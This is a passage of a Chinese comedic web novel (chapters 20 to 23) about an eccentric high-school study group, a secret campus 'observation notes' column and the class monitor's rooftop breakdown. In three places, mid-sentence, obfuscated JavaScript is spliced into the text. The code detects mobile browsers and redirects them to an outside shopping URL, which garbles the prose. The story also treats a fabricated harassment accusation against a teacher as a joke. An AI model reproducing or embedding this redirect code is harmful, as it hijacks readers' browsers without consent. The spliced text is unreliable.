大雄：“算北斗七星附属星座。” 两人开始讨论痘痘星座学。 鲁平站在那儿，蛾子落在他头上，他浑然不觉，眼神空洞。 洐沁记录：「教学权威遭遇解构性打击，教师进入灵魂出窍状态。」 我小声问洐沁：“要不要救他？” 洐沁：“再观察一下，这是珍贵的崩溃样本。” 最终，政治课以鲁平喃喃自语“痘痘……矛盾……统一……”离开教室告终。 他走时，蛾子还跟着他。 --- 第三天，学习内容变成了混合双打——数学和政治一起学。 张聪明和鲁平并排站在前面，像说相声。 张聪明：“啊～今天我们讲数学中的哲学啊～” 鲁平：“比如，1+1=2，这体现了质量的确定性。” 梦萱：“1+1还能等于3，如果算上意外怀孕的话。” 大雄：“那得是1+1+1。” 梦萱：“闭嘴，没让你发言。” 张聪明强行拉回：“啊～我们看这道题啊～一个水池，进水管每小时进水10吨，出水管每小时出水8吨，问多久能装满？” 梦萱：“永远装不满。” 张聪明：“啊～为什么？” “因为出水管在出，进水管在进，这是无效努力。”梦萱说，“就像你俩，一个讲数学一个讲哲学，都是在往我脑子里灌水，但我耳朵是出水口，灌多少漏多少。” 鲁平：“这比喻……精妙。” 我：你挺有自知之明的。 洐沁画： 第三张Q版：梦萱的脑袋变成水池，左耳进水（数学公式），右耳出水（骂人词汇），张聪明和鲁平一个拿水管一个拿水桶，累成狗。 那天的学习成果是：大雄学会了用数学计算痘痘生长速度，公式是：（现有痘痘数÷天数）×未来压力系数=新痘预测数。 他算出来自己下周会长两颗新痘，位置在左脸颊。 梦萱说：“不准长，长了我就不教你挤痘了。” 大雄：“痘痘不长我能控制吗？” “用意志力！” “意志力能控痘？” “我说能就能！” 于是学习内容又变成了意志力控痘训练。 梦萱让大雄对着镜子，对脸上的痘痘说：“不准长！长出来我就挤了你！” 大雄照做，一脸严肃：“痘痘同志，请服从命令。” 鲁平在旁边点头：“这属于意识对物质的反作用。” 张聪明：“啊～但这不科学啊～” 科学不科学的，反正那两颗痘后来真的没长——可能是因为大雄那周睡得早。 但梦萱坚信是她的训练起了作用。 --- 周五，历史性的一天。 校长听说“有学生在废弃教室搞神秘活动” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064654|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，亲自来巡查。 他推开门时，看到的是这样的画面： ·梦萱坐在裁判椅上，用教鞭（其实是拖把棍）指着黑板上的数学题，正在骂：“这出题人脑子被门夹了！水池为什么要一边进一边出？直接堵上出水管不行吗！” ·大雄站在她旁边，拿着个本子记录她的骂人金句，标题：《梦萱老师教学语录》。 ·鲁平在角落里，对着一面小镜子挤黑头——他说是在“实践辩证法，处理鼻子上的主要矛盾”。 ·张聪明趴在桌上睡觉，流的口水浸湿了他自己出的数学卷子。 ·洐沁躲在讲台后面，只露出半个头和一只手，正在画校长的Q版速写。 ·我，程穗，在门口放风——但我看蜘蛛看入迷了，没发现校长来了。 校长站在门口，沉默。 沉默了三分钟。 然后他说：“你们……在补课？” 梦萱反应最快，从椅子上跳下来，笑容甜美：“校长好！我们在进行‘跨学科实践学习’！” 校长：“跨学科？” “对！”梦萱指着黑板，“数学水池问题，我们引申到了哲学——无效努力是否值得。然后又联系到了实际——比如校长您每天忙工作，但学校还是有很多问题，这是不是也是一种‘一边进水一边出水’？” 校长：“………” 他看向鲁平：“鲁老师，你在干什么？” 鲁平赶紧放下镜子：“我在……观察皮肤细胞的代谢规律，为生物课做准备。” 校长看向张聪明：“张老师？” 张聪明惊醒，擦口水：“啊～我在模拟学生学习时的状态啊～以便改进教学啊～” 校长看向洐沁：“这位同学在……” 洐沁从讲台后站出来，举起画本：“我在记录学习过程，用于制作教学反思海报。” 校长看向我：“程穗，你是班长，你说，这是学习吗？” 我硬着头皮：“是……我们在进行‘自主学习模式探索’。” 我：已老实求放过。 校长又沉默了。 他看着黑板上的字——除了数学题，还有梦萱写的批注：“出题人是傻逼”、“水池该修了”、“建议改成酒池肉林”。 他看着鲁平鼻子上的红印——刚挤黑头挤的。 他看着张聪明口水浸湿的卷子，上面字迹模糊，像抽象画。 最后，他说：“注意安全，别把教室拆了。” 转身走了。 走到楼梯口，我们听到他叹了口气，很深，很深。 --- 校长走后，教室内外充满了快活的空气。 梦萱拍大腿：“看到没！校长都被我们镇住了！” 大雄：“他好像很累。” 鲁平：“我们是不是太过分了？” 张聪明：“啊～我觉得还行啊～” 洐沁推了推不存在的眼镜，画下最终章： 第四张Q版：校长站在门口，头顶冒出巨大的问号气泡，气泡里是所有人搞怪的缩影。他脚下踩着“崩溃临界点”的红线。 画完，她递给我看：“班长，这张能得奖吗？” 我：“能得‘最佳找死奖’。” 那天学习结束后，梦萱宣布：“以后每周一三五，固定学习。我们要成为全校最牛逼的学习小组——虽然学的是什么不知道。” 鲁平问：“那学习目标是什么？” “目标？”梦萱想了想，“让大雄数学及格，让我政治别个位数，让鲁老师学会挤痘不流血，让张老师讲课少说‘啊～’，让洐沁画出传世名作，让班长……让班长继续崩溃。” 我：“……谢谢您惦记。” 大家散了。 走出废弃教室时，夕阳把走廊染成橘红色。 梦萱和大雄走在前面，她在骂他走路太慢，他在憨笑。 鲁平和张聪明走在中间，他们在讨论“校长今天的心理阴影面积”。 洐沁粘着我，给我看她的新画：“班长，这张送你。” 画上是我，头顶着“纪律委员”的牌子，手里举着“别吵了”的旗子，但旗子断了，我哭成泪人。 我：“……我哪有哭？” 洐沁：“艺术加工。” 我：“把这加工去掉。” “不行。”她把画塞给我，“这是纪念。” 我拿着画，看着前面那群人的背影。 突然觉得，在这个废弃教室里，我们好像真的学到了点什么。 虽然不知道是什么。 但至少，蜘蛛认识我们了。 至少，老鼠不怕我们了。 至少，校长记住我们了。 虽然可能是以“想开除但找不到理由”的方式记住的。 但，也行吧。 21. 第 21 章 洐沁决定把“抽风小组”的日常写成《抽象观察笔记》连载时，我劝过她： “你写了，我们全得死。” 她推了推不存在的眼镜，眼神坚定：“为科学献身，是观察者的荣耀。” “献身的是我们！你会被梦萱剁成八段！” “那我会提前画好解剖图。”她说，“很有研究价值。” 哇操这智障玩意儿劝不动根本。 周一晚上，校园墙出现了第一篇帖子。 标题：《高二某神秘小组观察笔记（一）：论数学课如何演变成情感咨询》 内容节选： 「今日观察对象：某M姓女同学（代号‘颠婆’）与两位老师（代号‘秃鹫’、‘油蛆’）的数学互动。 课堂主题：二元一次方程。 实际内容：方程攻受关系鉴定。 颠婆语录：‘x=3，y=2，3比2大，所以x是攻。这题讲的是强势方对弱势方的压迫。’ 教师反应：秃鹫陷入哲学沉思，油蛆试图用‘啊～’挽回局面但失败。 结论：数学教育已沦为情感教育的前沿阵地。」 帖子发出去时，我们正在废弃教室“学习”。 梦萱在骂大雄解题慢得像蜗牛爬，大雄在憨笑说“蜗牛也挺可爱的”，鲁平在思考“可爱是否属于唯物范畴”，张聪明在打瞌睡。 洐沁躲在桌子底下，用手机偷偷看回复。 十分钟，点赞破百。 评论： 「哈哈哈哈这是哪个班？我想去围观！」 「x是攻笑死我了，这女生是人才」 「秃鹫和油蛆……这代号太传神了」 「求更新！」 梦萱的手机也响了。 她看了一眼，皱眉：“这写的什么玩意儿……” 大雄凑过去看：“好像是我们。” “放屁！我们哪有这么抽象！” 鲁平也看了一眼：“这个‘秃鹫’……是在说我吗？” 张聪明惊醒：“啊～油蛆是我吗～好难听啊～” 洐沁从桌子底下钻出来，一脸无辜：“什么帖子？我看看？” 演技满分。 梦萱盯着她看了三秒，没怀疑——她怀疑谁也不会怀疑这个“只会画画的呆子”。 “有人在偷拍我们。”梦萱总结，“查！必须查出来！” 抓内鬼行动，正式开始。 --- 第一篇笔记只是开胃菜。 周二，第二篇来了。 标题：《观察笔记（二）：政治课与痘痘的辩证关系》 内容节选： 「今日主题：唯物辩证法在皮肤护理中的应用。 秃鹫老师试图用‘质量互变规律’解释痘痘生长周期。 颠婆反驳：‘挤了就完事了，扯什么哲学。’ 憨憨体育生（代号‘北斗七星’）提出：‘痘痘是身体的情报员，告诉我们该睡觉了。’ 课堂最终演变为痘痘星座学研讨会。 结论：哲学可以解释一切，包括你为什么长痘。」 这篇火了。 连外校的都来转载。 课间，全校都在讨论“那个痘痘哲学小组到底是谁”。 梦萱气得在走廊咆哮：“别让我抓到！抓到了把他痘痘全挤爆！” 大雄摸着脸：“我的痘又没惹你……” “闭嘴！你也有嫌疑！” “我？” “你会写字吗？” “会……” “那就有嫌疑！” 梦萱的怀疑名单（她自己写在卫生纸上）： 1. 大雄：有动机（可能想报复我使唤他），但没脑子。 2. 鲁平：有文笔，但秃顶限制了他的创作能力。 3. 张聪明：有‘啊～’，但成不了句子。 4. 程穗：有胆子吗？没有。pass。 5. 其他班同学：有可能，但怎么知道这么细？ 她漏了洐沁。 因为在梦萱眼里，洐沁是个“戴着不存在眼镜画小人的怪胎”，不具备文字攻击性。 大错特错。 --- 周三，第三篇笔记带预言了。 标题：《观察笔记（三）：预告——明日颠婆将骂哭体育老师》 内容简单粗暴： 「据内部消息，明日体育课，颠婆因不满跳绳测试，将与体育老师发生激烈冲突。预测结果：体育老师崩溃离场，颠婆获得‘跳绳免试特权’。 敬请期待。」 全校轰动。 体育老师也看到了，在办公室拍桌子：“我倒要看看哪个学生这么狂！” 梦萱看到帖子，冷笑：“我明天就乖乖跳绳，打这帖子的脸！” 结果第二天体育课，真出事了。 不是跳绳，是仰卧起坐。 梦萱做了三个，躺地上不动了。 体育老师催她：“快点！还有27秒！” 梦萱：“我阑尾疼。” “你刚才还活蹦乱跳！” “现在疼了。” 体育老师蹲下，想拉她起来。 梦萱突然大喊：“非礼啊！老师摸我肚子！” 体育老师：卧槽有诈！！！ 体育老师僵住，手悬在半空，脸由红转白转青。 围观同学憋笑。 体育老师颤抖着站起来，指着梦萱：“你……你……” “我什么我？”梦萱躺地上跷二郎腿，“你碰到我衣服了，性骚扰。” 体育老师眼泪真的在眼眶里打转。 他教书十年，没受过这种委屈。 最后他摔了秒表，走了。 走时背影萧瑟，像一片风中落叶。 梦萱获得免试特权。 帖子预言成真。 全校炸了。 「卧槽预言家！」 「这笔记作者是神吧！」 「求更多预告！」 梦萱也炸了。 她揪住大雄的领子：“是不是你写的？！” 大雄：“我不会写‘性骚扰’这个词……” “那谁会？！” 鲁平小声说：“可能真是内部人……” 张聪明：“啊～我们中出了叛徒啊～” 洐沁假装害怕，躲在我身后：“班长，好可怕……” 我：“……”你演得有点过。 --- 抓内鬼行动升级。 梦萱搞来了测谎仪——从物理实验室偷的，还是个坏的，指针乱转。 她把我们召集到废弃教室，关上门，拉上报纸糊的窗帘，气氛像审讯室。 “一个个来。”梦萱坐在裁判椅上，翘着腿，“谁写的，自己招，少受皮肉苦。” 大雄先上。 梦萱把测谎仪电极贴他手上：“是你写的吗？” 大雄：“不是。” 指针狂转——因为仪器坏了。 梦萱：“还敢撒谎！打！” 大雄：“真不是……” “打！” 她拿起教鞭（还是那根拖把棍），轻轻戳了大雄一下。 大雄：“疼。” “疼就招！” “真不是我……” 鲁平看不下去了：“仪器是坏的。” 梦萱：“你咋知道？” “指针在没问问题时也在转。” “那是它激动！” 测了一圈，每个人都“撒谎”。 因为指针就没停过。 洐沁上场时，指针突然停了——巧合。 梦萱眯起眼：“你写的？” 洐沁推了推不存在的眼镜，声音发抖：“我……我只画画……” “画画？”梦萱想起那些Q版小人，“你画过我们吗？” “画过……” “看看！” 洐沁交出画本。 梦萱翻看。 里面全是Q版： 她坐在裁判椅上骂人。 大雄顶着痘痘星星。 鲁平秃顶反光。 张聪明头发油亮。 我在角落崩溃。 画得惟妙惟肖，但……没字。 “真不是你？”梦萱问。 洐沁摇头，眼睛水汪汪的——她偷偷滴了眼药水。 梦萱信了。 “那就是外人了。”她总结，“但外人怎么知道这么细？” 她不知道，洐沁有两个本子。 一个画画，一个写笔记。 --- 周五，笔记更新了，内容更劲爆。 标题：《观察笔记（四）：秃鹫与油蛆的办公室秘闻》 内容： 「今日潜入教师办公室（伪装成送作业），目睹以下场景： 秃鹫与油蛆共用一杯豆浆，吸管交叉，疑似进行液体交换仪式。 秃鹫为油蛆整理衣领，动作轻柔，时长3分28秒。 油蛆为秃鹫按摩肩膀，手法生疏，但秃鹫表情陶醉。 对话节选： 秃鹫：‘舒服吗？’ 油蛆：‘啊～还行～你手法有进步～’ 解读：中年男教师的亲密互动已超越普通同事范畴。 预测：下周他们将交换午餐便当。」 帖子发出来时，两位老师正在食堂互相喂饭。 真的在喂。 鲁平夹了块红烧肉给张聪明，张聪明“啊～”张嘴接住。 张聪明舀了勺蛋汤喂鲁平，鲁平低头喝。 全校同学默默围观，有人拍照。 照片和笔记一起，成了校园CP文化的里程碑。 两位老师吃完饭才看到帖子，脸绿了。 鲁平：“这谁写的？！怎么连按摩时长都记！” 张聪明：“啊～我们被监视了啊～” 梦萱看到帖子，却笑了。 “写得好！”她拍桌，“把这两个老东西的腻歪样全曝光！看他们还敢不敢在我面前秀恩爱！” 她暂时不抓内鬼了，因为笔记“帮了她”。 但洐沁玩脱了。 --- 周六，笔记出了终极篇。 标题：《观察笔记（终章）：颠婆的真面目与她的北斗七星》 内容长达三千字，详细分析了： ·梦萱的颠婆行为背后可能的心理动机（缺爱？表演型人格？还是单纯的爽？） ·大雄的憨厚与他的“工具人觉醒”之路 ·两位老师的“中年爱情故事”的社会学意义 ·以及——预言了下周梦萱会因为抢小卖部最后一包辣条和校长吵架并且赢。 这篇笔记，文笔犀利，分析透彻，还带心理学名词。 梦萱看完，沉默了一分钟。 然后她说：“这他妈是洐沁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064655|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写的。” 大雄：“啊？” “这文风，这分析，这推眼镜的习惯性动作——”梦萱盯着手机，“只有那个画画的怪胎能干出来！” 鲁平：“可她没有眼镜……” “所以她才推不存在的眼镜！”梦萱站起来，“这是一种心理补偿行为！笔记里写了！” 全说中了。 洐沁暴露了。 因为她把自己观察自己的习惯写进去了。 “抓人！”梦萱下令。 但洐沁早就跑了。 她请假了，说“家里有事”。 其实是躲到图书馆，继续写《观察笔记外传：我是怎么暴露的》。 --- 周一，洐沁回学校时，梦萱在校门口堵她。 “笔记是你写的？”梦萱问。 洐沁推了推不存在的眼镜：“是。” “为什么？” “为了研究。” “研究什么？” “研究你们为什么这么抽象。”洐沁说，“以及，为什么我愿意花时间记录你们。” 梦萱愣住。 她没想到是这个答案。 “你图什么？”她问。 “图一乐。”洐沁说，“以及，图一篇能让我保送大学的论文。” 她掏出厚厚一叠打印稿：《论非典型高中生社群的抽象文化生产——以“抽风小组”为个案》。 标题长得能当跳绳。 梦萱翻了翻，里面全是她们的事：吵架、和好、吃火锅、学数学、挤痘痘…… 还配了Q版插图。 “你……”梦萱不知道该生气还是该笑，“你他妈真是个天才。” “谢谢。”洐沁说，“但你能别告诉校长吗？我还想毕业。” “行。”梦萱说，“但有个条件。” “什么？” “把我写成主角，并且是美貌与智慧并存的那种。” “可你是颠婆……” “颠婆也可以是美貌颠婆！” 洐沁：颠婆果然还是死颠婆。 “好。” 交易达成。 洐沁继续写，梦萱提供素材，甚至主动爆料： “我小学时把同桌的辫子剪了，因为他笑我发际线高。” “我初中时给班主任起外号叫‘地中海带鱼’，因为他又秃又长。” “我高一……” 大雄在旁边听着，突然说：“你以前……挺孤独的吧。” 梦萱停住。 然后她踹了大雄一脚：“关你屁事！” 但没否认。 --- 笔记继续更新，但变成了官方授权版。 梦萱亲自监工，要求每篇都要突出她的“女王风范”。 洐沁写：「颠婆今日命令北斗七星给她买水，语气霸道，但眼底有笑意。」 梦萱：“把‘眼底有笑意’去掉！要冷酷！” 洐沁：“可你确实笑了。” “我没笑！” 大雄：“你笑了，嘴角上扬了3度。” 梦萱：“……你们合伙气我？！” 笔记成了全校追更的“日更抽象剧”。 甚至有其他班的学生跑来废弃教室门口偷看，想见证“剧情发展”。 校长也看了。 他把洐沁叫到办公室。 “笔记是你写的？”校长问。 洐沁点头。 “写得……挺有意思。”校长说，“但别影响学习。” “不会。”洐沁说，“这是我的学习。” 校长看着她，突然笑了：“你以后想学什么专业？” “社会学，或者人类学。”洐沁说，“专门研究奇葩。” “那祝你成功。” 校长没处罚她。 可能因为他也在追更。 谁不喜欢看乐子呢？ --- 周五，洐沁更新了最后一篇笔记： 《致所有追更者：故事还在继续，但观察者要退场了》 内容： 「观察笔记至此告一段落，因为观察者已从旁观者变成了参与者。 我再也无法客观记录，因为我和他们一起吵过架、吃过火锅、研究过痘痘哲学。 但我会继续画Q版，继续写论文，继续和这群抽象的人，过完抽象的高中。 谢谢观看。 PS：下周预告是真的，梦萱真的会和校长抢辣条，而且会赢。因为校长不爱吃辣。」 发出去后，洐沁合上笔记本，推了推不存在的眼镜。 “结束了？”我问。 “嗯。”她说，“但故事没结束。” “什么意思？” “意思是——”她粘过来，“班长，帮我整理数据，论文要交了。” “……你又来！” 她笑了。 我也笑了。 看着窗外，操场上一—梦萱在追打大雄，因为他把她最后一颗痘痘挤爆了。 鲁平和张聪明在散步，手又牵上了。 校长在小卖部买水，真的没买辣条。 一切如笔记所写。 一切又不止于笔记。 因为生活还在继续。 荒诞的、抽象的、好笑的、温暖的生活。 而洐沁的笔，和我的崩溃，也会继续。 直到毕业。 直到更远的未来。 22. 第 22 章 我的崩溃，是在一个风和日丽的周二下午爆发的。 导火索是一件小事：数学作业本被张聪明用红笔画了个巨大的“啊～”，原因是“解题步骤缺乏美感”。 压垮骆驼的最后一根稻草是：鲁平在我的政治笔记上批注“此处应加入痘痘辩证法案例”。 而当我去找洐沁诉苦时，她正把我的崩溃表情画成Q版，标题是《班长崩溃的十七种微表情分析》。 那一刻，我脑中的某根弦，“啪”一声，断了。 不是轻轻断，是爆炸式断裂，像过年放的那种五百响鞭炮，噼里啪啦炸出一片空白。 我放下书包，走出教室，爬上楼梯，来到天台。 不是想跳楼——我没那么傻币，而且我们学校天台有防盗网，跳不下去。 我只是想站得高一点，喊得响一点。 我爬上防盗网旁边的水泥台——不高，就半米，但足够俯瞰全校。 然后，我深吸一口气，对着天空大喊： “我——受——够——了——！” 声音很大，惊飞了一群鸽子（其实是麻雀，但我想显得有诗意一点）。 “我要转学！我要去正常学校！我要当正常人！” 我又喊： “我不想再记录谁和谁喝一杯豆浆了！不想再计算肥牛分配方案了！不想再研究痘痘哲学了！不想再听‘啊～’了！” 风吹乱我的头发，像电视剧里悲情女主角——当然，如果忽略我穿的是校服，并且鼻涕快流到嘴里的话。 楼下，已经有同学在围观了。 “快看！班长要跳楼！” “不是吧？因为作业太多？” “听说她数学作业被张老师画了个‘啊～’……” “那确实该跳。” 消息像野火一样蔓延。 --- 五分钟后，第一批救援队赶到。 是梦萱和大雄。 梦萱冲上天台，看到我站在水泥台上，愣了一下，然后大骂： “程穗！你他妈给我下来！要死也别死在这儿！晦气！” 大雄跟在她后面，手里拿着……一包纸巾？ “班长，擦擦鼻涕。”他憨憨地递过来。 我没接，继续喊：“我不！我要崩溃！我有权崩溃！” 梦萱走过来，叉腰：“崩溃个屁！你才经历多少？我天天被人在校园墙写诗都没崩溃！” “那不一样！” “怎么不一样？都是精神折磨！” 大雄补充：“而且班长，你站那儿腿会酸。” 我：“……”我日！！！ 第二批救援队是鲁平和张聪明。 他们气喘吁吁爬上来——张聪明爬到一半歇了三次，鲁平拉着他。 “程穗同学！冷静！”鲁平喊，“人生没有过不去的坎！” 张聪明：“啊～作业写不完可以抄我的啊～” 我转头看他们：“我不是因为作业！我是因为你们！因为整个班！因为整个学校都他妈不正常！” 鲁平推了推眼镜（他真的戴眼镜）：“不正常是相对的。在我们的坐标系里，我们就是正常。” “那我想换坐标系！” “坐标系不能随便换啊～”张聪明说，“得经过教务处批准啊～” 我气得差点真的跳下去，这种智障东西为什么会存在——虽然跳不下去。 --- 第三批，也是最后一批：洐沁。 她上来时，手里拿着画本和相机。 先拍照：“班长崩溃现场，珍贵资料。” 然后画Q版：“标题暂定《秩序维护者的终极反抗》。” 接着，她推了推不存在的眼镜，开始分析： “据我观察，班长崩溃原因有：1.长期担任正常人与抽象世界的桥梁，桥梁超载；2.被迫参与过多荒诞事件，认知负荷过大；3.数学作业上的‘啊～’成为最后一根稻草。” 她看向我：“班长，我分析得对吗？” 我看着她，眼泪真的流下来了。 不是感动，是绝望。 “连你都这样……”我哽咽，“亏我还把你当朋友！你真特么傻逼！！你也不懂我！！” 梦萱：“我懂！我不也天天被气！” “你那叫享受！” “那你也享受啊！” 张聪明突然说：“啊～要不让班长当副班主任啊～体验一下我们的痛苦啊～” 鲁平：“好主意！这样她就知道我们多难了！” 我：“……”你们是来劝我的还是来气死我的？ --- 这时，楼下已经围了上百人。 有人举手机直播：“震惊！高二五班班长天台崩溃，疑似因作业压力过大！” 有人喊：“班长！加油！跳下来我们接住你！”——虽然只是二楼高度。 校长也来了，拿着喇叭喊：“程穗同学！下来！什么事都好商量！” 我对着下面喊：“我要转学！” 校长：“可以谈！下来谈！” “我要这个班恢复正常！” 校长沉默了三秒，说：“这个……有点难。” 这下好了，连校长都放弃了。 我彻底绝望。 这时，梦萱使出了绝招。 她走到我旁边，也爬上了水泥台——但她平衡不好，晃了一下，大雄赶紧扶住她。 “你干嘛？”我问。 “陪你啊。”梦萱说，“你不是崩溃吗？一起啊。” 她也对着天空喊： “我也受够了！张大雄这个憨憨总是不听话！这两个老东西总在我面前秀恩爱！这个学校食堂的菜像猪食！我的发际线越来越高！” 她喊得比我还大声，还用力。 喊完，她转头看我：“爽没？” 我愣住。 “不爽再喊。”她说，“反正下面人都在看，丢脸一起丢。” 大雄也爬了上来——水泥台差点塌了，这死玩意是真的重。 “我也喊。”他说，“我受够了痘痘总长在鼻子上！挤起来不方便！” 他也喊：“痘痘！你长在脸颊上不行吗！” 楼下观众：“？？？”一群有病的吧。 鲁平和张聪明对视一眼，也爬上来了——水泥台发出悲鸣。 水泥台：我的沉默震耳欲聋！！！ 鲁平喊：“我受够了生发液都没用！” 张聪明喊：“啊～我受够了你们说我油～” 最后，洐沁也爬上来了——她最轻，水泥台松了口气。 她没喊，而是举起相机：“集体崩溃行为，罕见，拍照留念。” 于是，天台上出现了奇观： 六个人，挤在半个水泥台上，对着天空大喊各自的不满。 像一群神经病在举行邪教仪式。 楼下，校长放下喇叭，对旁边的主任说：“拍照，发教育局，就说我们在开展‘压力释放主题实践活动’。” 主任：“……这能行？” “不行也得行。” --- 喊了十分钟，大家都累了。 梦萱先坐下，拍拍旁边：“班长，坐。” 我坐下。 其他人也坐下。 六个人，排排坐，腿悬空，像幼儿园小朋友等放学。 风吹过去，有点冷。 大雄脱下外套，递给梦萱，梦萱扔给我：“穿上，别感冒了，传染给我。” 我裹上外套——太大了，像披风。 沉默了一会儿，梦萱说：“其实……我知道你为什么崩溃。” “你知道？” “嗯。”她看着远处，“因为我有时候也想崩溃。但我不能，我一崩溃，那些人就得意了。” “哪些人？” “那些觉得我有病的人。”梦萱说，“所以我得比他们更疯，让他们怕我，这样他们就顾不上说我病了。” 我转头看她。 她没化妆，额头上的痘痘很明显，发际线确实高，但眼睛很亮。 “你没必要这样的。”我说。 “有必要。”她笑，“这就是我的活法。” 大雄小声说：“我觉得你这样挺好。” “好个屁。”梦萱踹他，“闭嘴。” 鲁平开口：“程穗同学，其实……我们很感谢你。” 我：“啊？” “你是这个班里，唯一一个还能保持正常的人。”鲁平说，“你像锚，让我们这群漂着的船，不至于漂到外太空去。” 张聪明点头：“啊～虽然你总说我们不正常啊～但你从来没真的抛弃我们啊～” 洐沁推了推不存在的眼镜，记录：「情感流露时刻，锚与船的比喻，诗意。」 我鼻子又酸了。 这次是感动的。 “但我真的好累。”我说，“每天要处理你们的破事，要记录谁和谁牵手了，要计算火锅钱，要……” “那就别处理了。”梦萱打断，“从今天起，你不是班长了。” 我愣住。 “我宣布，”梦萱站起来，“班长职务，由张大雄接任！” 大雄：“啊？我不会……” “不会就学！”梦萱瞪他，“从今天起，你负责记录谁和谁喝豆浆，负责计算火锅钱，负责崩溃。” 大雄：“可我是一班的！” “转班！！！” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064656|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄憨憨地点头：“哦。” 鲁平举手：“我提议，程穗同学升任‘小组荣誉顾问’，只提供建议，不负责具体事务。” 张聪明：“啊～我附议啊～” 洐沁：“我记录：班长职务交接仪式，在天台举行，具有象征意义。” 我看着他们，突然笑了。 笑出声，笑到流泪。 “你们……真是没救了。”我说。 “我们知道。”梦萱也笑，“但你有救了。” 她跳下水泥台，伸手：“下来吧，荣誉顾问，地上有蚂蚁，咬屁股。” 我拉着她的手下来。 其他人也下来了。 水泥台松了口气——它今天承受了太多它不该承受的东西。 --- 下楼时，在楼梯口遇到校长。 校长看着我：“程穗同学，还转学吗？” 我摇头：“不转了。” “想通了？” “嗯。”我说，“在这个学校，当正常人才是最不正常的。我想……继续不正常下去。” 校长拍拍我肩膀：“好孩子。对了，下周市里有个‘心理健康教育先进个人’评选，我打算报你，材料就写……成功调解同学矛盾，化解潜在危机。” 我：“……”校长您真会来事。 梦萱凑过来：“校长，那我呢？” 校长：“你……继续努力。” 梦萱：“哦。” 回到教室，全班同学齐刷刷看着我们。 王鑫小声问：“班长，你真跳了？” 我：“没跳，就喊了喊。” “那还转学吗？” “不转了。” 全班鼓掌。 不是庆祝，是松了一口气——他们也不用换班长了。 --- 放学后，洐沁粘着我：“班长，今天的数据太宝贵了，我需要你帮我写分析报告。” 我：“我不是班长……” “荣誉顾问也要工作！” “……你特么滚啊。” “哎呀程穗姐姐~~” 我呕！！！ 我们坐在操场边，她摊开画本，给我看她今天画的崩溃系列： 第一张：我站在水泥台上喊，头顶冒出一团乱麻，脚下踩着“理智临界点”。 第二张：全员爬上水泥台，像一串糖葫芦，背景是乌鸦（其实是麻雀）飞过。 第三张：大家排排坐，腿晃悠，表情各异：我迷茫，梦萱嚣张，大雄憨，鲁平哲学，张聪明困，洐沁记录。 “画得真好。”我说。 “送你。”她撕下来，“纪念你第一次公开崩溃。” “这种纪念不要也罢……” 但她塞给我了。 我看着画，突然问：“洐沁，你为什么不崩溃？” 她推了推不存在的眼镜：“因为我在观察你们崩溃啊。” “观察别人崩溃，不累吗？” “累。”她说，“但有趣。” 她顿了顿：“而且，有你们在，我永远不会无聊。无聊才会崩溃，有趣的人只会笑到肚子疼。” 她说得对。 虽然我经常笑到肚子疼——是被气的。 但总比无聊好。 --- 晚上，群里炸了。 梦萱发了天台合照——大雄拍的，角度清奇，全是鼻孔和双下巴。 配文：「今日团建活动：天台喊话。效果显著，班长已痊愈。」 鲁平发了篇小论文：《论集体宣泄对群体凝聚力的促进作用——以天台喊话为例》。 张聪明发了条语音：“啊～今天风真大啊～我头发都吹乱了～” 大雄发了张自拍，背景是天台，配文：「新班长上任，请多指教。」——虽然没人当真。 洐沁发了数据图表：「崩溃事件时间线及干预效果评估」。 我发了两个字：「活了。」 然后，我收到一条私信。 是梦萱：「喂，荣誉顾问，明天帮我写检讨，我跟体育老师吵架了。」 我：「你不是不让我管了吗？」 梦萱：「顾问就是干这个的！快点！」 我：「……你妈类个蛋的写什么？」 梦萱：「就写‘我错了，但下次还敢’。」 我笑了。 回她：「行。」 关掉手机，我看着天花板。 今天，我崩溃了。 明天，我可能还会崩溃。 但至少，崩溃的时候，有人陪着我一起站上水泥台，一起喊，一起被风吹成傻逼。 这就够了。 在这个抽象的高中，这就够我撑到毕业了。 23. 第 23 章 期末考试像一坨巨大的、冒着热气的神使的凝视，悬在高二五班头顶。 正常班级的备考：刷题、背提纲、熬夜、喝功能饮料。 我们班的备考：把知识点变成行为艺术。 周一早晨，梦萱站在讲台上（裁判椅搬回了体育器材室，她只能站着），宣布她的“天才学习计划”： “从现在起，所有知识必须用非正常方式记忆！因为——”她拍黑板，“正常方式根本进不去我们这种不正常的脑子！” 底下同学鼓掌——不是赞同，是怕被打。 --- 第一项：骂人记忆法（梦萱原创） 原理：把难记的知识点编成骂人话，利用情绪强化记忆。 示例： 历史事件“鸦片战争” → “英国佬像他妈鼻涕虫一样黏过来卖鸦片！吸死你们这些蠢货！” 